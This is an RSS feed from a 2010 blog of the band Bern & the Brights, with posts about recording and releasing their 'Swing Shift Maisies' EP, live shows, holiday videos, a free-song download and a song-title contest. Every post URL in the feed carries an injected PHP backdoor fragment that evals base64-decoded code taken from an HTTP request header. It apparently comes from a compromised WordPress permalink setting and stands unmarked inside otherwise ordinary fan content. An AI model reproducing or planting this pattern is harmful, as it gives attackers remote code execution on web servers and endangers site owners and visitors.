BRIGHTS BLOG http://www.bernandthebrightsblog.com Join the Light Brigade Thu, 15 Jul 2010 11:40:34 +0000 http://wordpress.org/?v=2.9 en hourly 1 The Making of Swing Shift Maisies, Part 3 http://www.bernandthebrightsblog.com/2010/07/15/the-making-of-swing-shift-maisies-part-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2010/07/15/the-making-of-swing-shift-maisies-part-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 15 Jul 2010 11:40:34 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=369 Well, our CD release show is in 2 whole days. Wow. It’s been a long time coming! We’re so absolutely excited for this Saturday. It will be amazing to put on the great show we have prepared for you and to finally share these recordings with you. By the way, here’s the official track listing:

1. Boo
2. Sangria Peaches
3. Sleepless Aristotle
4. It Goes Like That

This is the final Making of Swing Shift Maisies Video. Watch all the way until the end to catch a cool moment of when we finally received our shipment of CDs! I’m sure we’ll have many thank-you’s and all the love to share with you after this weekend, so just keep an eye out for one last thing we have to share with you this Friday.

Much love.
<3b&tb

]]> http://www.bernandthebrightsblog.com/2010/07/15/the-making-of-swing-shift-maisies-part-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The Making of Swing Shift Maisies, Part 2 http://www.bernandthebrightsblog.com/2010/07/02/the-making-of-swing-shift-maisies-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2010/07/02/the-making-of-swing-shift-maisies-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 03 Jul 2010 03:54:02 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=364 Hello out there!

It’s the weekend of independence and while surfers are surfing, tanners are tanning and rockets are a-glare, we’re posting youtube videos…so you can stay inside, just a little bit longer…

We haven’t officially announced the full track listing, yet, and we’re going to hold out for the last video to post and reveal the final song!  So, for now, you’ll just have to speculate what that last track will be–go ahead, start rumors, pass notes, whisper to one another, start long facebook threads…

This next video is part 2 and in it Catherine talks a bit about the recording process for Sleepless Aristotle.  We hope you dig the insight, and the sneak-peak listening of the track!  Let us know what you think!

Much love to JoeKelly for putting this video together!

<3b&tb

]]> http://www.bernandthebrightsblog.com/2010/07/02/the-making-of-swing-shift-maisies-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The Making of Swing Shift Maisies, Part 1 http://www.bernandthebrightsblog.com/2010/06/16/the-making-of-swing-shift-maisies-part-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2010/06/16/the-making-of-swing-shift-maisies-part-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 17 Jun 2010 02:57:13 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=356 The time has finally arrived when we reveal the cover artwork and the title of our EP, which  we will  release at Maxwell’s on Saturday, July 17th, 9PM. We’re so excited for this release, and we hope you are, too! This is our first, official, full-band studio recording. The art concept and design was dreamed up by Shawn, Bernadette, and Catherine. We hope you like. So, without further ado…

Swing Shift Maisies, EP

Swing Shift Maisies EP Cover

In addition to the reveal of the cover art we’ve compiled some footage from our recording sessions at Home Front Studios with Matt Ryan, our engineer and studio owner. These are some behind-the-scene-looks at the making of Swing Shift Maisies! Here’s the first in the series. Big thanks to JoeKelly for helping us put it together.

]]> http://www.bernandthebrightsblog.com/2010/06/16/the-making-of-swing-shift-maisies-part-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 So many nice things! Awe! Cute. http://www.bernandthebrightsblog.com/2010/04/29/so-many-nice-things-awe-cute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2010/04/29/so-many-nice-things-awe-cute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 30 Apr 2010 02:05:07 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=352

Where do I start?

It’s spring; babies are being made left and right because everyone is in love.

It’s an even year; they’re always better.

We reached 1,006 fans on  Facebook. Thank you!! We are famous now.

Our new single, “Sangria Peaches,”  is officially done…available…getting around. We have it on a download card for you (come to a b&tb show).

And we’re looking forward to a new release.

Our EP release party will be at Maxwell’s in Hoboken, NJ (eh, oh, eh . . . fogetta bout it) on July 17th. We can’t tell you the title (secret). We can’t tell you any of the other songs on it (secret). We can’t show you what it looks like (secret). You simply have to see for yourself.

Love and light. Stay groovy.

<3b

<3&tb

<3b&tb

]]> http://www.bernandthebrightsblog.com/2010/04/29/so-many-nice-things-awe-cute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 3 Days, 3 Shows – Much Love! http://www.bernandthebrightsblog.com/2010/02/21/3-days-3-shows-much-love/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2010/02/21/3-days-3-shows-much-love/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 21 Feb 2010 15:18:42 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=343 This weekend we had the pleasure of doing 3 shows in 3 days and every moment was wonderful! Our Tierney’s show was a HUGE success and the attendance was amazing! We’ll have to try to get our hands on some photos of the crowd because so many people came dressed up with some great masks. We did some filming for a music video that night as well and we appreciate the dancing and the help from Mike, Matt, Hannah and anyone else who was there to lend a helping hand. And of course, thanks to John Foti and DJ Amanda for helping us fill up the night with a ton of great music!

Our first show of the three was down in New Brunswick at the Alfa Art Gallery. Robert Mermet was having his art opening and honestly, go check out his work if you have the time. He had some really great pieces up for viewing and for sale. http://www.alfaart.org This was our second time down at Alfa and we had a blast. Hopefully we’ll get back there soon!

After our set we had plans to do some filming with Kevin from http://www.pollifax.com for the next segment of The Wanderer Sessions. The theme for the Wanderer Sessions are atypical musical performances so we aimed for just that. All 5 of us crammed awkwardly into the back of the Suburban, our instruments shaped and highlighted with glow sticks and we sat in the dark, in the cold, with a window open to make room for the neck of Bernadette’s guitar, parked on Church St. out front of Alfa Art Gallery along with Kevin and his helping hands sitting in the front seats to record us. I think the band can safely say this was one of our most memorable moments and we really had a blast doing this. But enough about it in words, go see it for yourself here:

The Direct Link: http://pollifax.com/wanderer_sessions/Entries/2010/2/20_012_Bern_%26_The_Brights.html

And please be sure to hit us up for tickets to our show with Rhett Miller of the Old 97’s on April 1st at Mexicali Live. It’s a really big show for us and we’ll need all the support we can get!

<3b&tb

]]> http://www.bernandthebrightsblog.com/2010/02/21/3-days-3-shows-much-love/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 On the twelfth day of Bern & the Brights-mas… http://www.bernandthebrightsblog.com/2009/12/25/on-the-twelfth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2009/12/25/on-the-twelfth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 25 Dec 2009 05:03:12 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=240 masquerade

Recently, we’ve started working on our first full-band recordings. We’ve made some progress with Matt Ryan of Home Front Studios in Caldwell, NJ (and check out his band The Defending Champions) and we’re getting excited for the opportunity to eventually share what we have with everyone.

Our first song that we have completed tracking is Boo. While we still need some time to complete the mixing and mastering process we already have a music video in the works. This is where our fans, friends and family are needed!

Friday, February 19th 2010
Tierney’s Tavern
136-138 Valley Rd.
Montclair, NJ

We are filming some of our video at Tierney’s Tavern. We need some live band shots with our fans dancing to our performance. We will share more details and remind everyone as the date gets closer, but this show will be a masquerade ball. Dress up nice and we’ll provide some masks for you at the door!

In the coming weeks we’ll try to reveal some behind-the-scenes recording moments with you and hopefully announce our first single release date!

Thank you all for a wonderful year in music. It’s been quite the journey and we’re excited to keep forging ahead. We have made some wonderful accomplishments all with you, the fan, as our driving force behind it. Without your support we’d just be strumming our guitars, bowing the violin and playing rock-band drums in the privacy of our rooms.

Happy Holidays!
<3b&tb

]]> http://www.bernandthebrightsblog.com/2009/12/25/on-the-twelfth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 On the eleventh day of Bern & the Bright-mas… http://www.bernandthebrightsblog.com/2009/12/24/on-the-eleventh-day-of-bern-the-bright-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2009/12/24/on-the-eleventh-day-of-bern-the-bright-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 24 Dec 2009 05:01:15 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=298 ‘Twas the night before Christmas and all through the house not a creature was stirring, not even a Bright…

This entry is simple: have a happy holiday! The following video is our home-made-Brights-singing-holiday-gram. Enjoy!

]]> http://www.bernandthebrightsblog.com/2009/12/24/on-the-eleventh-day-of-bern-the-bright-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 On the tenth day of Bern & the Brights-mas… http://www.bernandthebrightsblog.com/2009/12/23/on-the-tenth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2009/12/23/on-the-tenth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 23 Dec 2009 05:01:50 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=329 My true love gave to me…

A free song!

Enter the Brights Box with the following password to download your free Holiday tune!  This one’s a special cover.

Password: 12daysfavorite

The back story:
It’s possible this track was recorded back in the early winter of 2006.  But I could be wrong.  I suppose I could have asked JoeKelly for the real date, but I think it’s more romantic for this to become a fable of sorts…

‘Twas a cold winter’s eve in late January, or was it early February?  A terrible snow-storm was predicted and so Bernadette, JoeKelly, and I [Catherine] intentionally planned to get snowed in together in a tiny apartment to play music and watch movies.

During the holiday season leading up to this night I had been pondering the presence of My Favorite Things in many holiday mixes and wondered why every single version was so bright and happy?

I know that the notion of the song, and the movie The Sound of Music, foster it to be happy and bright, but something about the lyrics make me think it could be a bit melancholy: “…and then I don’t feel so bad.”  I started to think this when I was at a family holiday party and heard the Cheetah Girls’ version of it…

At any rate, I started working on it a bit on my own and it all came together one fateful night when the three of us discovered the dark side of My Favorite Things.

Not long after did we record this at Shea in Studio A at William Paterson University.  Bernadette played the drums, piano, and bass and I did the guitar and vocals.  The bass line is wicked and dark and the vocals are soft, gentle and precious, wavering between the line of happiness and fragility.

It was a lot of fun to record this song.  Please enjoy.  Especially since a Brights cover is so rare!

]]> http://www.bernandthebrightsblog.com/2009/12/23/on-the-tenth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 On the ninth day of Bern & the Brights-mas… http://www.bernandthebrightsblog.com/2009/12/22/on-the-ninth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2009/12/22/on-the-ninth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 22 Dec 2009 05:02:06 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=306 Memories!

This past year has been filled with some very memorable moments. We’ve decided to make a highlights reel, so to speak, complete with live shots of the band, fans dancing and more! We’ve also included some photos of our personal favorite memories.

Bernadette’s favorite memory was when we were all making our way backstage at Webster Hall and she failed to notice the lift in the floor, tripped on the lip and fell flat on her face while her glass of water spilled everywhere. Poor Bernadette…

Catherine’s favorite memory was performing in the Boro 6 Indie Music fest and helping put the fest together.

Shawn’s favorite memory was learning Starboard Court (a Deivito tune) on the spot during our Up-North Tour and performing it in the house-shaped-like-a-boat show.

Jose loved seeing some of the boat-show-goers doing some flaming-hula-hooping after our set there. Really, the hula-hoop was on fire!

And Nicole loved seeing some cross-country fans dance to our set at the Bioneers conference.

We’ve all enjoyed many moments this year as a band. It’s great to be a part of something that can bring people together in one room and be able to connect with our music and create the memories with us. We’re excited for the new memories we’ll create with you all in 2010!

]]> http://www.bernandthebrightsblog.com/2009/12/22/on-the-ninth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 On the eighth day of Bern & the Brights-mas… http://www.bernandthebrightsblog.com/2009/12/21/on-the-eighth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.bernandthebrightsblog.com/2009/12/21/on-the-eighth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 21 Dec 2009 05:00:17 +0000 bernmusic http://www.bernandthebrightsblog.com/?p=238 …my true love gave to me…

Song Title Mash-Up!

Unscramble the three song titles below and win a free Bern & the Brights t-shirt! Leave your answers as a comment to this post to win! Please leave your correct name and email address when filling out your comment so we can contact the winner and mail them the prize. (Your contact information will only be viewable to us.)

Good luck!

1. OBO
2. BEM UAR WR
3. LELLIROEA STSPSETSE

]]> http://www.bernandthebrightsblog.com/2009/12/21/on-the-eighth-day-of-bern-the-brights-mas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5